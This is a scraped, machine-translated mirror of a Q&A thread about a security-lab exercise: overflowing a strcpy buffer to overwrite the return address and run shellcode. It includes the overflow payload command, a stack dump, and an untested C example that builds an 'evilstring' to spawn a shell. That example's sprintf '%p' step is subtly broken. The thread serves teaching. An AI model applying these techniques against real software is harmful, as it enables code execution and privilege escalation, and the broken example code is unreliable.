简体   繁体   English

使用缓冲区溢出来执行shell代码

[英]Using buffer overflow to execute shell code

I've been learning computer security lately and come across a couple problems, and i'm having some trouble with this one in particular. 我最近一直在学习计算机安全,遇到了几个问题,特别是我遇到了一些问题。

I'm given a function with a fixed buffer I need to overflow in order to execute shellcode in the file shellcode . 我给了一个带有固定缓冲区的函数,我需要溢出才能在文件shellcode中执行shellcode The function is quite simple: 功能很简单:

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    //function provided to display stack on command prompt
    dump_stack((void **) buf, 21, (void **) &str);
}

My initial guess was to modify the return address, the eip , of the function in order to locate and execute what is in the shellcode file, but i realized I have no address to the file I can represent in a hexadecimal value. 我最初的猜测是修改函数的返回地址, eip ,以便找到并执行shellcode文件中的内容,但我意识到我没有地址到我可以用十六进制值表示的文件。 I am pretty sure I need to manipulate the return address, so currently what i'm calling is: 很确定我需要操纵返回地址,所以我目前正在调用的是:

//the string is passed as a command line arg
./buffer_overflow_shellcode $(python -c "print 'A'*72 + '\x41\xd6\xff\xff' ")

my output is: 我的输出是:

Stack dump:
0xffffd600: 0xffffd7fd (first argument)
0xffffd5fc: 0x08048653 (saved eip)
0xffffd5f8: 0xffffd641 (saved ebp)
0xffffd5f4: 0x41414141
0xffffd5f0: 0x41414141
0xffffd5ec: 0x41414141
0xffffd5e8: 0x41414141
0xffffd5e4: 0x41414141
0xffffd5e0: 0x41414141
0xffffd5dc: 0x41414141
0xffffd5d8: 0x41414141
0xffffd5d4: 0x41414141
0xffffd5d0: 0x41414141
0xffffd5cc: 0x41414141
0xffffd5c8: 0x41414141
0xffffd5c4: 0x41414141
0xffffd5c0: 0x41414141
0xffffd5bc: 0x41414141
0xffffd5b8: 0x41414141
0xffffd5b4: 0x41414141
0xffffd5b0: 0x41414141 (beginning of buffer)
Segmentation fault

the python script simply prints 72 letter A's to overflow the buffer to the point of the edp and eip , after I replace the edp's address with the additional address and arrive at the return address, ready to manipulate it. python脚本只是输出72个字母A来溢出缓冲区到edpeip的点,在我用额外的地址替换edp的地址并到达返回地址后,准备操作它。 Any help is really appreciated, thanks! 非常感谢任何帮助,谢谢!

Well, I think maybe this is a like a Buffer Overflow Lab in Computer Systems: A Programmer's Perspective . 好吧,我想这可能就像计算机系统中的缓冲区溢出实验室:程序员的观点 First, use objdump to get the static address. 首先,使用objdump获取静态地址。 Second, run it with gdb to find out the address of the stack. 其次,使用gdb运行它以找出堆栈的地址。 Then, fill the buffer with such a string that overwrites the return address to the buffer (so that you can put exploit code, alternatively, you could invoke other code in the program). 然后,使用这样的字符串填充缓冲区,该字符串将返回地址覆盖到缓冲区(这样您可以放置​​漏洞利用代码,或者,您可以调用程序中的其他代码)。

Check out this pdf which serves as a guide to this lab. 查看此pdf ,作为本实验的指南。 It could provide you with some insights. 它可以为您提供一些见解。

As is pointed out, lots of compile time flags are needed to achieve this. 正如所指出的,需要大量的编译时标志来实现这一点。 ( I would check out which and come back soon ). (我会查看哪些并尽快回来)。 Alternatively, this post provides a guide on how to compile such an example. 或者, 这篇文章提供了如何编译这样一个例子的指南。

My initial guess was to modify the return address, the eip, of the function in order to locate and execute what is in the shellcode file, but i realized I have no address to the file I can represent in a hexadecimal value. 我最初的猜测是修改函数的返回地址,eip,以便找到并执行shellcode文件中的内容,但我意识到我没有地址到我可以用十六进制值表示的文件。

You want to modify the RET address so that when the function ends it doesn't return to its caller but to the beginning of your shellcode. 您希望修改RET地址,以便在函数结束时它不会返回到其调用者,而是返回到shellcode的开头。

((As a brief overview of what a shellcode is, it's a set of assembly instructions (so heavily dependent on the platform you execute the vulnerable process) that execute a shell (usually a root shell) thus dropping you off in a nice environment that you can exploit.)) ((作为shellcode的简要概述,它是一组汇编指令(因此严重依赖于您执行易受攻击的进程的平台)执行shell(通常是root shell),从而使您在一个良好的环境中脱颖而出你可以利用。))

Now back, what you want is to point the RET at the first assembly instruction in your shellcode. 现在回来,你想要的是将RET指向shellcode中的第一个汇编指令。 The weird bit is that you have it in a separate file. 奇怪的是,你将它放在一个单独的文件中。 Is that required? 这需要吗?

How it's usually done is that you have something like this: 通常做的是你有这样的事情:

char shellcode[] = "\x90\x90\x90...";


int main()
{
        /* 
         * huge string (like your 72 A's) that appends the address of the 
         * shellcode at the right address (in your case I think it's 64 + 4) 
         */
        char evilstring[100]; 

        /* Fill the buf and the EBP with A's */
        for (int i = 0; i < 64 + 4; i++) {
                evilstring[i] = 'A';
        }
        /* And the RET with the address of your shellcode */
        sprintf(&evilstring[68], "%p", &shellcode[0]);
        vuln(evilstring);
        /* you should have a shell now */

        /* NOTREACHED */
        return 0;
}

So now, when your function returns, it returns at the address of the shellcode[] string and it continues executing instructions from there. 所以现在,当你的函数返回时,它返回shellcode []字符串的地址,并继续从那里执行指令。 Which is what you want. 这是你想要的。 Because those instructions give you the root shell (or whatever it is that your shellcode does). 因为这些指令为您提供了root shell(或者shellcode所做的任何事情)。

Please note that the above is just example code, it's not even compile tested. 请注意,上面只是示例代码,甚至没有经过编译测试。

If I didn't understand your problem or if I didn't explain well enough, please feel free to ask. 如果我不明白你的问题,或者我的解释不够好,请随时问。

char buff[20];
unsigned int pass = 0;

when 'buff' get overflown, the extra input turn the 'pass' into bigger than 0, make it a 'true' value. 当'buff'溢出时,额外输入将'pass'变为大于0,使其成为'true'值。

It's not hard when you know where too look, like said before open the app w/ gdb. 当你知道在哪里看起来并不难,就像在打开应用程序w / gdb之前说的那样。 r(un) it. 运行。 Then i(nfo) r(egisters) to see why it crashed. 然后我(nfo)r(egisters)看看为什么它崩溃了。 disassemble is very useful aswell. 反汇编是非常有用的。

Also, (I assume you know this): 另外,(我假设你知道这个):

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    //function provided to display stack on command prompt
    dump_stack((void **) buf, 21, (void **) &str);
}

is actually 实际上是

void vuln(char *str) {
    void *return;
    char buf[64];

    /* Set Return value and store stack */
    strcpy(buf, str);
    //function provided to display stack on command prompt
    dump_stack((void **) buf, 21, (void **) &str);
    /* restore stack and jmp to return value. */
}

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM